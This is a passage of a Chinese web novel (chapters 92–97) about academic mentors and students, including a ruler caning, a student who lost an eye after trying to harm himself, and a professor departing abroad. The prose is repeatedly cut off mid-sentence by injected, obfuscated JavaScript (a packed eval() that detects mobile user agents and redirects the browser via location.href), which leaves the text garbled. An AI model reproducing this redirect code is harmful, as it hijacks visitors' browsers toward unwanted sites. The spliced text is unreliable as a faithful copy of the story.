那处地方也就一戒尺宽,戒尺每回落下都在同一个地方,不多时就泛起了紫色的血痧,再打下去也逃不过破皮出血的命运。易堂生缓了缓,道:“自己说,还能挨多少?” 一下都不能挨,可是大师兄这样问,他要是说真话,那就是找死了。 刘巍思哭得脊背一起一伏,颤声道:“二、二十。” “趴好,腿抻直!”易堂生踢了踢他打弯的膝盖,“最后二十,我打得重,不准乱动,听到没有?” “听到了。” 93.第 93 章 屁股完全使不上力,刘巍思也不知道自己是怎么摆出让大师兄满意的姿势的,总之大师兄没有苛责他,稍等片刻,戒尺便兜风抽下,落在红肿不堪的臀腿连接处。 “唔……”没有疼得死去活来,但也不可能忍住不喊。 易堂生向来不喜欢他受罚的时候哼哼唧唧,只是看他这个样子,还能保持住姿势没有变,倒也算有诚意,故而并未出声呵斥,只是照旧扬起戒尺,“啪”地抽下。 大约两三秒一尺的频率,刘巍思感受着臀腿那处一阵阵的抽痛,又随着数目增多而发麻,疼痛失去了清脆的声音,反而又沉又钝。他咬住下唇,强忍着最后的责罚。 二十下虽不多,但打到最后,也隐隐有破皮的迹象,大片深红,从臀腿蔓延到大腿,看着格外吓人。 易堂生不肯放一点水,一板一眼地打完了二十尺,刘巍思心里数着,最后一尺落下,膝盖便忽地一软,整个人倒了下去。 易堂生眼疾手快扶住他:“还能不能走?” “能、能……”太疼了,额前几绺头发都汗湿了,显得更加乌黑,衬得脸庞死白死白的。 易堂生放下戒尺,两手扶着他去沙发趴下:“我这里没有药,你自己歇一会,晚些回家上药。” 不料,刘巍思一把抓住他的衣角,哀求道:“师兄,您能不能跟老师说,我晚点回去?”眼看着师兄的目光尖锐起来,他忙解释道,“不是,不是说谎,我就是不想让老师担心,您就说帮我看论文成吗?反正我论文也在这里,帮我看看嘛!” 说到最后,简直分不清他是真的委屈还是故意撒娇。 易堂生本不想纵容他这种坏习惯,但老师看见他这副样子担心是肯定的,想了想,道:“我先帮你看论文,什么时候看完,你什么时候回去。” 刘巍思挨了打,愈发像小孩,就连他平日不大愿意亲近的大师兄也成了依赖的对象,扯着师兄的衣服,说:“师兄,坐这里看。” 易堂生不知怎么的叹了声气,道:“我拿你的论文过来。” 易堂生是正正经经地给他看论文的,边看边提意见:“……这里怎么是孤证?不要只举一个例子,有以偏概全的嫌疑……” “我知道,但是我找不到别的例子。” “再找找看,如果实在没有直接证明你论点的东西,你要考虑有没有可以间接论证的例子。如果都没有,很有可能你这里就是以偏概全了,要严谨。” “知道了。” “还有这里……” 易堂生做起学术来是不会累的,可是刘巍思一连挨了三顿打,又是趴着,不一会儿就困了,一开始还是强撑着跟大师兄说话,说到后来,大师兄的声音就像从很远的地方飘来似的,只有零碎的词语钻进他的耳朵里,再后来,那熟悉的声音就完全沦为了背景音乐——他睡过去了。 易堂生指着他的论文说了好一会儿才反应过来刘巍思没声了,扭头一看,竟是睡熟了,鼾声轻轻的,好像累了很久。 真是该打!易堂生如此想着,却只是轻轻地揉了揉他的脖子。 刘巍思这一觉睡得久,醒时窗外已暗了下来。易堂生刚在食堂吃了晚饭回来,本想回家的,可偏不忍心叫醒他,又不放心他一个人这样睡在这里,便干脆多呆了会。 “是睡饱了还是饿醒了?” 刘巍思恢复了些精神,不好意思地挠挠头:“论文是不是没讲完?” 易堂生气笑了:“还记得你那论文呢?” “师兄给我把论文讲完吧,打个电话跟老师说,让老师早点睡。” 刘巍思有私心,可话说出来却合情合理,显得他十分好学且懂事。易堂生自然没什么好说的,给老师去了电话,恭恭敬敬地汇报了刘巍思在他这里改论文的事,让老师不用担心,也不必等他回家。 刘巍思想象着老师接电话的场景,一点也开心不起来。 其实严先生还是担心小孩子的,不过严铮在家里,总是很快就能转移他的注意力。这不,刚挂了电话,严铮就问:“爸,学校端午节有什么活动?” 严先生一愣,这才反应过来,确实快到端午了,道:“也没什么活动,去年叫大家一块包粽子,发电影票,今年还不知道怎么安排呢!” “爸,您记不记得,我小时候,咱们端午还要去游天坛避毒呢!” 严先生笑了:“怎么不记得?那会你才这么小,”严先生比划了一下,感叹道,“都多少年了!” “这么多年没儿子在身边,可把我爸愁坏了吧?” 严先生哈哈笑了几声,想起刘巍思来,怎么能说没儿子在身边呢? 笑了一会儿,严先生却笑不出来了,直直看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200019|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他:“严铮。” 严铮抬头,脸上还带着笑意:“怎么了?” “我不能走。” 严铮脸上的笑顿时僵住了,不知他爸怎么就冒出这样一句话来,更不知该如何回答。 严先生平静道:“就算学校不需要我,可是巍思还需要我。” “我,我也需要您啊!” 严先生长长地叹息:“严铮,你有妻儿有家庭,我不在你身边,你只是想我。可是巍思他,他什么都没有,我走了,他就……没有依靠了……你明白吗?” 严铮抬手捂住眼睛,说:“我明白,我明白。我知道,我不在的时候,是巍思陪在爸身边,爸对他,是……是当成儿子一样的……” 跟纪家父子不同,严家的父子关系是亲密到无以复加的,严铮小时候黏着爸爸长大,挨打了都只会觉得自己做错了让爸爸生气了,十几岁的时候跟着妈妈出国,心里没有一点怨恨,只盼着一家人有一天可以团聚。这么多年,他一直不停地联系父亲,直到他再次回到父亲身边。 “严铮,爸对不起你。” 严铮放下手,勉强笑了笑:“没有,我知道,爸也是不得已。但是爸暑假肯定得跟我走,我机票都订了,不能反悔的。” 严先生笑着点点头:“答应你的,不反悔。” “那爸去休息吧,我也准备回去了。” 严先生起身,道:“你回去也早点歇着,巍思也不知道什么时候回来。” “他这么大个人了,爸还操心呢!” 严先生笑着摇摇头,满怀无奈地回房去了。 刘巍思的论文讲到深夜,问题很多,易堂生让他改了再给老师看。刘巍思点点头,说:“师兄先回去吧,我趁热打铁捋捋思路,免得回去就忘了。” 易堂生狐疑地看他一眼,不知他什么时候如此好学上进了,也不打击他,只道:“那你等会记得关灯锁门,回去小心。” “在学校里头呢,有什么好小心的,师兄快回去吧。” 易堂生点点头,收拾东西离开了。 师兄一走,刘巍思便把论文丢到一边了,其实他的心思全然不在论文上,装了一晚上,简直疲倦不堪,幸而独占了大师兄的办公室,今晚也不用回去了。 刘巍思侧躺在沙发上,连灯也没关,就这样沉沉睡了过去。 94.第 94 章 第二天,天还没亮,刘巍思就朦朦胧胧睁开眼睛,可是眼皮好重,像有人死死按着不给他醒来。他昏昏沉沉地呼出一口气,总感觉有什么不对。 屁股还是很疼,他不敢碰,嗫嚅一下,发现嘴里几乎没有唾液了。 迷糊之中,他觉得自己大概是病了,抬手摸摸额头,果然是发烧。其实这么多年他也挨了不少打,但挨打之后没人看顾以致发烧生病的次数却屈指可数。想到以前老师打了他就拿药过来哄他,不由得湿了眼眶。 不过他来不及在这里慢慢伤怀,万一师兄来上班,发现他一整晚都没回家,就不止是发烧了,所以强撑着沉重的脑袋,起身收拾好,关灯,锁门,悄悄走了。 还不到七点,办公室的门都是锁着的,刘巍思一路静悄悄地顺着楼梯下去,暗暗咬牙忍耐,好容易走到楼下,却更难受了,头晕目眩,天不是天,地不是地,远处缓缓走来的学生扭曲着身体,拧成他形容不出的模样。 他踉跄一下,稳了稳,继续往前走。 校道上,三两成群的学生抱着书往各栋教学楼走,清晨的阳光带着暖意,洒在青春洋溢的脸庞上。刘巍思恍惚中想起他刚上大学的时候,也是这样,每天去上课都高兴得不得了,一路上可以和同学就一个小问题争论不休,幼稚地放狠话说等会去问老师。 那样的日子,已经很遥远了。 一个失神,刘巍思鞋子擦着地面,将他整个人往地上带去,他反应不及,竟在平坦的地面上跌了一跤,右手掌根擦破了点皮。 前前后后的陌生学生都看过来,只觉奇怪:这么大个人怎么走路还摔跤呢? 一个女生抱着书走来,弯下腰问:“同学,要紧吗?” 刘巍思没抬头看人,木木地摇头,两手在地上用力一撑,摇摇晃晃站了起来。 那个女生好像很担心,伸手想碰碰他,可是刘巍思已经拖着步子慢慢走了。 女生抿抿唇,看他走远了,才转身去上课。 刘巍思从没觉得回家的路有这么长,长得几乎耗尽了他所有的力气。当他抓着楼梯扶手往上走时,不自觉地舔了舔嘴唇,发现嘴唇已经干裂了。 不知是不是在门外掏钥匙的声响太大,总之他没做到悄无声息地进门,门一开,就对上老师熟悉的双眼。严先生正站在房子的过道处,惊异地看着他。 “老师。”声音明显有点哑,喉咙烧得难受。 严先生满眼不解:“怎么这个时候才回来?” “昨晚太晚了,师兄怕我回来不安全,就在办公室将就睡了。”刘巍思没敢看老师,边说话边转身把门关上了。 严先生还惦记着他的伤,轻声问:“上过药没有?” 刘巍思一手撑着墙,一手脱鞋,低头时眼眶有点湿:“上过了。” 严先生想说那老师给你看看,可是孩子总背对着他,让他那句话在肚子里转了好几圈,也没有出口。 刘巍思换了鞋,却还是低着头:“老师,我先回房了。” “巍思!” “老师还有什么事吗?”刘巍思没有停下脚步,一直走到房门前,“没有的话,我想再睡一会儿。” 严先生感觉到了,孩子在拒绝他,拒绝对他坦诚,也拒绝和他交流。 “昨天的论文,怎么不拿来给老师看?” 刘巍思手放在门把上,随时准备躲起来:“昨天碰到师兄,就给师兄看了。” “你师兄,打你没有?” 眼泪迅速涌上眼眶,再说下去,刘巍思肯定会哭,于是他赶紧道:“没有,老师,我先回房了。”说罢,落荒而逃。 刘巍思关上门,后背抵在门上,眼泪一颗颗往下掉,就在忍不住哭出声时,他将紧握的拳头死命往嘴里塞,堵住了即将出口的啜泣声。 严先生站在门外,抬起手,往前一叩,却是一点声音都没有。过了一会儿,那手软软地垂了下来。 坦诚,是最不能相逼的事情。严先生想道。 从这天开始,刘巍思就过上了早出晚归的生活。每天早上,小纸条往桌上一放,人就不见了,大晚上的万籁俱寂之时,才悄悄地回家睡觉,仿佛在过一种逃亡生活。而严先生对这一切,竟然选择了袖手旁观。 这一年端午,童院长牵头,和几位老师一起去秦昭阳家里送慰问品,看望柏阅冬和秦昭阳。秦昭阳并不知道这事,那天早上陪柏阅冬吃了早饭,便蹲在地上整理他那几个纸箱的东西。 “你的笔记本,别说,这笔记做得还挺好看,就是字还差点,”秦昭阳现在什么话都能说了,就是得不到回应,“你们三个里,是不是庄遂平的字最好?” 柏阅冬没有回答,秦昭阳不甚在意,笑了笑,把本子往桌上一放,接着翻里头的东西。 “这一沓是什么?晏几道,这是你抄的?毕业论文用的吧?呐,这是你的文献综述,就写了个文献综述,都怪你师父,成日把你拘在那里校对什么元好问,不然你早写完论文了是吧?” 外头敲门声“砰砰”响起,秦昭阳把手里的东西往桌上一放,起身道:“师父去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15201738|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,你要是热,就把窗开开,这里没人看得见。” 柏阅冬面无表情,也不出声。秦昭阳早已习惯了他这个样子,揉揉他的脑袋便出去了,顺势带上了他的房间门。 柏阅冬在封闭的房间里呆呆地扫了一圈,最后把目光停留在那沓纸上。 秦昭阳出去一开门,吓了一跳:“童院,严老师,纪老师,你们怎么都来了?” 来了七八个人,陆陆续续进门来,整个客厅都坐满了。最后进来的两个年轻老师把他们带来的粽子、水果和补品放在茶几上,搞得秦昭阳有些不好意思:“怎么带这么多东西来?” 童院长道:“这个粽子和点心匣子是学院里头发的,其他的是同事们一点心意,东西不贵重,主要是来看看你和阅冬。” 秦昭阳忙前忙后找被子,给大家倒水,抱歉道:“各位老师的心意,我和阅冬心领了。只是阅冬他……” “还是不肯见人?”严先生问。 秦昭阳黯然点头:“别说见人了,电话也不肯接,除了接过他父母打过来的两个电话,其他人的来电都不肯接。” 童院长叹声气:“那他的身体没有什么问题吧?” 秦昭阳摇头:“身体没有问题,问题都在心里。他不肯剪右边的头发,一直遮着眼睛,不肯开窗,不肯出来吃饭,也很少说话。” 大家都跟着叹气,七嘴八舌地说着“这么严重的事”“肯定受了很大的打击”“需要时间慢慢接受”一类不痛不痒的话。 这些话秦昭阳听了太多,也不想再听,干脆笑着换了话题,问纪慎:“纪老师,肖晚亭跟着你学习,还可以吧?” 纪慎点点头:“可以,她很让人省心。” “等九月新生一来,你这个师门可就壮大了。” 纪慎哭笑不得,想到庄遂平,怎么都笑不出来了。 众人都知道秦昭阳要照顾小孩,聊了一个多小时就告辞了。秦昭阳收拾了客厅的东西,才去陪柏阅冬。 可是,就在他打开门的那一瞬间,人就呆住了——这么长时间,他第一次看见柏阅冬不是在呆坐,而是在…… 他轻轻走过去,看见摆在他跟前的那一沓纸,正是他刚刚找出来的文献综述。柏阅冬用左眼很慢很慢地扫着一行行文字。 “这样看,会累吗?” 柏阅冬还是没有回应。 “师父念给你听,好不好?” “师父,”柏阅冬按住纸张,突然的出声让秦昭阳心都提到了嗓子眼,“我没有以后了,对不对?” 95.第 95 章 秦昭阳按着他的肩膀,将他转向自己,坚定道:“不是的,阅冬,你还是学校的研究生,你的学业没有受到任何影响!我们只是受伤了而已,等你写完论文,照样可以毕业,你毕了业,还可以读博,做研究,就像我们以前设想的一样。” 柏阅冬慢慢抬起头,无神地看着师父:“不一样了。” “一样的,阅冬,”秦昭阳急切地蹲下来,仰起头看着他,像在祈求,“虽然师父可能没办法去评博导了,但是你相信师父,师父不会让你就这样结束的!我去给你找老师,让别的老师挂个名,你就在家里,你喜欢什么,想研究什么,师父都陪着你!” “谁会,收一个瞎子,读博士呢?” “我们阅冬才不是瞎子,我们阅冬是、是最聪明的学生,”秦昭阳说着,不自觉带上了哭腔,“你记不记得你在词学论坛上读论文?那么大的场面,只有你一个研究生,你……别人都在看你,都在羡慕你,你记不记得?” 记得又如何?往事如烟般飘散。 “阅冬,你听师父说,会找到老师的,师父去找纪老师,纪老师最喜欢你了,他可以带博士,他一定愿意带你的。咱们也不用出门,就让纪老师挂个名,师父给你改论文,要找纪老师的时候师父帮你找,你不想做的事师父都帮你做,师父养你一辈子,只要你别、别……” 别再说你想死。 秦昭阳抹了一把即将掉出的眼泪,又挤出一个笑,问:“这样好不好?” 柏阅冬直直地看着他,不说好,也不说不好,过了好久,才缓缓伸出手,碰了碰师父的鬓角,哑声道:“师父,有白头发了。” 秦昭阳还是笑,不在意道:“这么大年纪了,谁没有白头发?” 柏阅冬摇摇头:“不是的,我知道,是因为我,是因为我。”他说着,不由得抓住了师父的大手,缓缓摊开掌心,中间有一道凸起的伤疤,横亘整个手掌。 那是为了拦住他刺向自己眼睛的剪子。 “没事的,都过去了,都会好起来的。”秦昭阳站起来,问,“你要不要出来坐坐?没有人在家,师父给你洗水果吃。” 秦昭阳每天都这么问,你要不要出来吃饭?要不要出来活动一下?要不要出来透透气?其实每次柏阅冬都说不要,但他没有少问一次。 但是今天柏阅冬的反应却出乎意料,他很轻很轻地点了点头,然后起身,慢慢走了出去。 秦昭阳看着他单薄的身影,竟是怔住了。 不知是整日呆坐着很无聊,还是柏阅冬真的要转性了,他竟然开始翻起自己整理的晏几道词,一字一句,看得很慢。 秦昭阳总是陪着他,静静地看着他。 过了几日,秦昭阳去了一趟学院,他的办公室里有些书是柏阅冬用得上的,他去搬回来。 搬书回去的路上经过纪慎的办公室。纪慎开着门,见他经过,喊了他一声。秦昭阳脚步一顿,进去打了个招呼。 “今天怎么过来了?” 秦昭阳想想,把手里的书放在他桌上,坐了下来,道:“来给阅冬找几本书。” 纪慎一听,立刻来了兴趣:“他要看书了?” 秦昭阳垂眸思量着,再抬头时,脸上带了笑意:“嗯,他在写毕业论文,毕竟还是研究生,写完论文就能毕业,再走下一步也好安排些。” “他怎么想?” “还能怎么想?他这么适合做学术的苗子,当然是想读博。只是……” 纪慎想,只是瞎了一只眼。 可没想到,秦昭阳的话转了个弯:“只是,我还没评上博导,没法带他。” “昭阳,其实现在也还来得及,你把你的研究做完,出成果,上课,最多让他等一年……” “纪老师,没有这么容易,如果要评博导,我这几年都得正常带研究生,我现在,做不到。” 纪慎叹了声气,确实如此,柏阅冬还离不了人,秦昭阳根本没法带其他学生。 “那你现在打算怎么办?” “给他找老师,挂在别的老师名下,我来指导。” 纪慎点了点头,似是认同他的想法,可是再看到秦昭阳满怀期待的眼神,他就猛然想到了秦昭阳的下一句话。 “纪老师……” “你别说话!” “纪老师!”秦昭阳不可能不说,“你一直很喜欢他的,他名义上是你的学生,但是你可以什么都不做,只要给他的各种文件签字,一切学习和指导我都可以承担!” “可是他会占掉我的博士名额!我收了他,就没法收别人了!” 秦昭阳没想到他会这么坚决快速地说不,一下子懵了:“那,那你要收谁啊?” “我……”庄遂平三个字在嘴里转了好久,却怎么也出不了口。 “已经有学生联系您了?” 纪慎泄了气似的,垮着肩膀:“昭阳,还有一年多他才毕业,到时候再说好吗?实在不行,你找严老师去,严老师先收刘巍思,过一年再收阅冬,其实也没什么差别,反正他都在你家里。” “纪老师,一年变数太大了,我不能赌。” “我也不能承诺你任何事情。” 秦昭阳在这里碰了个钉子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我不会写的,我要退学!”庄遂平站起来,扭头就要往厨房去,却被纪慎猛地揪住衣领,按在了桌上。 “您要打我吗?”庄遂平眼眶通红,直直地盯着他。厨房里,不知什么时候水声已停了,纪慎的妻子静静地望过来,手里还拿着一个空盘子,指尖掐得发白。 纪慎手一松,放开了他。 庄遂平毫不在意地起身,却听纪慎道:“你知不知道,柏阅冬有多艰难?” 庄遂平一怔,不动了。 “你知不知道,他瞎了一只眼还在写论文?秦昭阳一边在家里陪他写文章,一边给他找博导,你觉得你比他们还要难吗?” “是你自己说,放弃了一切来读这个研究生,你现在这个样子,对得起自己吗?” 纪慎累得走不动路了,连声音都弱了下去:“有时间去看看阅冬吧,他现在应该好多了。” 96.第 96 章 “阅冬,”秦昭阳走进房里,轻声道,“辰辰的电话。” 柏阅冬笔尖一顿,没有抬头:“不接。” 秦嘉辰的电话来了好多次,每次都问师兄怎么样,能不能和师兄说说话,但是柏阅冬一次都不肯接。 秦昭阳有点心疼女儿,忍不住劝道:“阅冬,她很想和你说说话。” “我说不接。” 语气很平静,可是秦昭阳已经慌了,忙道:“好好好,不接就不接,我去挂了。”说罢,真的转身出去了。 次卧的门转个弯就是客厅,柏阅冬可以清晰地听见师父的声音:“……辰辰,他不肯接,他没事,现在好多了,开始写论文了,我知道我知道……你在外面也要好好的,那爸爸挂了,等会阅冬要生气了……好,嗯,你挂吧……” 柏阅冬微微仰起头,看见书桌右前方的相框,秦嘉辰的照片一直放着,没有人换,他也并未歇斯底里。说到底,他不愿意接秦嘉辰的电话,是不想给她什么希望,可是…… 可是他还是会想起秦嘉辰手心柔软温热的触感。 他沉浸在自己的情绪里,没注意到外头的吵闹声。师母本想和女儿聊聊天的,见丈夫挂了电话,埋怨道:“你挂这么快干什么?我还没和辰辰说话呢!” “下次说,”秦昭阳压着声音,“等会阅冬要不高兴了。” “成日挂着阅冬生气,连自己女儿的电话都不接了,谁是你亲生的?” “行了,下回让辰辰打到你单位去,你们娘儿俩想说多久说多久,没人碍着你们!” 没过多久,秦昭阳又进房来了,柏阅冬一惊,忙收回视线,生怕被发现似的,心虚大喊:“我说了不接!” “不,不是,”秦昭阳两手下压,示意他冷静,“不是电话,是庄遂平,他来看你,你想见他吗?” 柏阅冬眨眨眼,一时没有说话。 秦昭阳道:“你不想见他,我就让他回去,没事的。” “师父,”柏阅冬低着头,像是在下某种决心,“他一个人来的吗?” “嗯,就他自己。” “那我,”柏阅冬抬起头,左眼眨啊眨,“我出去见他。” 这是柏阅冬回家这么久第一次肯见外人,秦昭阳简直欣喜若狂,忙要来扶他,扶上了才发现他行动无碍,又慌忙收了手,就着衣服擦了擦,只是傻笑,话都说不出来。 柏阅冬看见师父的动作,微不可察地勾了勾嘴角。 庄遂平坐在客厅沙发上,瞧见柏阅冬慢慢往这里走,站了起来,像是生怕他会撞到,直到他在对面坐下。 “阅冬,你好些了吗?” 柏阅冬比过去更加瘦削和单薄,淡淡道:“就这样,不会更好了。” 庄遂平不是会交际的人,即使柏阅冬是他过去的室友,他也很难聊出什么来,只能尴尬道:“听说你好一点了,我来看看你。” “听纪老师说?” 庄遂平抿着唇,“嗯”了一声:“他说你在写论文。” “闲着无聊。” “他还说,秦老师在给你找博导。” 秦昭阳脸色明显僵住了,不知道纪慎跟庄遂平说了多少,要是庄遂平直接在柏阅冬面前抖出纪慎拒绝他的事,不知道柏阅冬会作何反应。 不过庄遂平没有继续说,秦昭阳便顺势插了句:“纪老师说还有一年才毕业,不着急。” 庄遂平和柏阅冬心里都有了底,但谁也没有说,就这么奇怪地沉默了下来。 气氛有点尴尬,庄遂平干脆起身告辞,柏阅冬没有留他,秦昭阳也只好将人送出门,感谢他来一趟。 柏阅冬还坐在沙发上,并没有躲回房里。他现在可以在客厅坐一会儿,也可以在餐厅和师父师母一起吃饭,一切都在慢慢好转。 “阅冬。” “师父,您去找纪老师了。” “嗯,”秦昭阳瞒不过他,只好避重就轻,“他很支持你读博,最后一年,咱们把毕业论文写了就成。” “他拒绝你了,对吗?” 秦昭阳一怔,没有说话。 “如果他答应了,您就会一回来就告诉我,我就不会从遂平嘴里知道这件事了。” 秦昭阳叹了声气,小孩太聪明,对他是种折磨。 “纪老师他,有意向学生了,但是他没有告诉我是谁。” “是遂平。” 秦昭阳明显愣了一下,印象中庄遂平并不是很出色的学生,也并未见纪老师有多关照他,阅冬怎么如此笃定? “纪老师一直以来,都对遂平很严格。我想,他不是不喜欢遂平,他只是对遂平有太多的期待。” 如此说来,纪慎这条路是真的走不通了。秦昭阳略有些低落,却不得不强打起精神,冲小孩笑道:“没事的,纪老师跟我说了,童院有招收博 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15224219|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士的名额,等过段时间,我见到他,就跟他提这件事。童院多厉害,又喜欢你,这不比纪老师强?” 柏阅冬没点头也没摇头,由着师父摸了摸自己的脑袋。 随着暑假临近,严先生出国的行李都快被严铮搬空了。严铮日日在这个房子里出没,不久便注意到了异常:“我是不是好几天没见到巍思了?他去哪里了?” 严先生拿起遥控器,开了电视,呆呆地看着小方框里的黑白图像,喃喃道:“能去哪里?躲着我罢了。” 严铮笑起来:“爸也碰钉子了?爸不是最会哄孩子?” 严先生无奈地看着儿子,道:“我当然可以哄他,可是我不能一辈子哄他。如果跟着我这么多年,都没有办法相信我,那么我哄他或是逼他,有什么意义呢?” 严铮听出了父亲话里的心酸和遗憾,在他身边坐下,安慰道:“爸,巍思这么大了,也有自己的心事了,说不定跟您没什么关系。” 严先生笑了笑,摇摇头:“他的世界才一点点大,成日围着我转,怎么会跟我没关系?其实我猜到了,没多大事,可是他自己要当鸵鸟当乌龟,什么都不敢面对,又怎么能算长大呢?” 严铮叹气:“爸这样满怀心事的,跟我去也不能好好休息。” “那也不至于,他是孩子,你也是孩子,没道理为了他委屈你,答应你的事就是答应你了,至于他么,等我回来再说。” “他这么天天躲着,也不知道爸要走,怎么办?” “没事,到时候给他留个条子就是了。” 这会自然是这么打算的,可是临走那日,东西乱糟糟的,一会检查这个,一会看看那个,又掏口袋,又挂背包,待得到了机场才猛地想起来,没有给刘巍思留条子。 “我得去给巍思打个电话。” “快要登机了,爸。”严铮道,“等到了再打吧。” 到了再打,那得多久啊?严先生晃神的瞬间,已是被严铮带去排队登机了。 在六月底的炎热晚上,刘巍思像往常一样回到家里,本来早已习惯家中静悄悄的,可是他还是突然感受到了不同。 老师的气息正在渐渐消散。 他隐约感觉到了什么,换了鞋慢慢走向老师的卧室,推开门,借着客厅的灯光看见铺得平整的床铺,收拾得干干净净的桌子,墙壁上的挂钩,没有挂任何衣服。 老师走了。 97.第 97 章 这对所有人来说都是一个煎熬的暑假。刘巍思没有再早出晚归,而是整日呆在家里,什么也不干,什么也不想。 电话“丁零零”响起的时候他猛然吓了一跳,他想,那一定是老师打来的电话,打回来说他留在国外了,再也不回来了。 “巍思你就搬出去吧,住学校宿舍,我让你纪老师带你最后一年,毕业了有工作安排,挺好的。” 脑海里不知怎么的就冒出这样的话来,他甚至能想象到老师平和的表情,嘴角带一点笑,就像他过去这么多年一样。 电话铃声愈发急促,像是在说快来接快来接,别拖拖拉拉的,可是刘巍思迈不动步子,他的脚被锁上了,他的人被困住了,他的心被掏空了。 那铃声响了足足一分钟才偃旗息鼓,刘巍思盯着那恢复平静的电话机,蓦然湿了眼眶。 他缓缓走过去,莫名其妙地拿起电话听筒,不管里头传来的“嘟嘟”声,兀自低声唤道:“老师……” 听筒里头机械地重复着“嘟——嘟——”,他又叫了一声:“老师……” 就好像他的老师下一秒就会笑吟吟地喊他的名字。 可是他只听见“嘟嘟”声。 刘巍思失魂落魄地挂了电话。 电话第二天又响了,这次比上一次推迟了一个小时,刘巍思仍然听着急促吵闹的电话铃声,无动于衷,直到铃声戛然而止。 刘巍思想,等开了学,他就要去申请住宿,然后干干净净地搬出这个房子。 第三天,刘巍思一直盯着电话,可电话却没有如同往常一般响起。他有些失落,好像丢了很重要的东西,可转念一想,这确实是他想丢掉的,也没什么可惜,求仁得仁罢了。 老师的事已不可改,那么,他还要不要再去找纪老师呢?他才不要被安排工作,他得读书,读博士,然后……然后变成跟老师一样厉害的人。 正想着,敲门声却“砰砰”响起,打断了他的思路。他整个人抖了抖,竟妄想外头的人是老师,不由得又期待又害怕。还没起身呢,敲门声更响更急了,刘巍思想,大概不是老师吧,老师不会这样敲门的。 在敲门声的不断催促下,刘巍思慢慢走到门后,轻轻拧开门把,从门缝中探了头出去,一看外头的人,不禁失望过甚,眼里的光都没了。 易堂生敲了许久的门,见他开门都慢吞吞的,一肚子怒火推开门,大步进去,劈头就骂:“你怎么回事?病怏怏的!” “我,我没睡好。” 易堂生气得肩膀上下起伏,深深呼吸着,指着他斥道:“是不是放假了就没日没夜地玩了?!连老师的电话都不接!” 刘巍思一惊,脑海里迅速闪过两个念头,一是前两日确实是老师的电话,二是大师兄竟然知道。 不过易堂生很快就解释了:“老师担心你,特地打电话给我,让我来瞧瞧你,你既然在家,怎么不接老师的电话?” 刘巍思低着头,眼珠子一转,理直气壮道:“我哪知道老师打电话回来?今天没有电话呀!前两天,前两天我不在,我在图书馆呢!” 说谎说多了,也不怕了。 易堂生想骂他也找不到正经理由,食指在他鼻尖前点了又点,最后只道:“老师有话跟你说,你既然在家,就给老师回个电话。”说着从口袋里掏出一张纸,“这是电话号码。” “我知道了,我晚点打。” “什么晚点?现在就打!” “可是我,”刘巍思声音弱了点,“我今天状态不好,师兄您也看到了,等会老师听见我声音,又要担心。” 果然,把老师搬出来永远能堵住大师兄的嘴。易堂生上下打量他好一会儿,还是接受了,不过临走前仍狠狠瞪了他几眼,警告道:“我回去就给老师打电话,说你明天回电,你敢糊弄,就等着屁股开花!” 刘巍思现在哪里还顾得上屁股开不开花?能逃一天是一天。一听这个,当即点头,连连保证自己会回电,便赶紧把大师兄送走了。 劫后余生的刘巍思长长吐出一口气,可还来不及高兴,就被更沉重的大石压垮了——老师要跟他说什么呢? 这是他最害怕面对的事情。如果老师在他身边,他可以什么都不怕,可如果老师不在呢?他没办法想象。 说好的回电并没有回,刘巍思不知道老师怎么跟大师兄说的,总之大师兄没有再上门,熟悉的电话铃声依旧一次次响起,在咫尺之遥的地方,只要他一伸手,就可以听见老师的声音。 但是他恐惧,他逃避,他拒绝。 他一次次数着电话铃声响起的次数,过了一个战战兢兢的暑假。 另一栋楼里,柏阅冬成日把自己闷在房间里写论文。天气很热,可他无论如何不愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232789|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 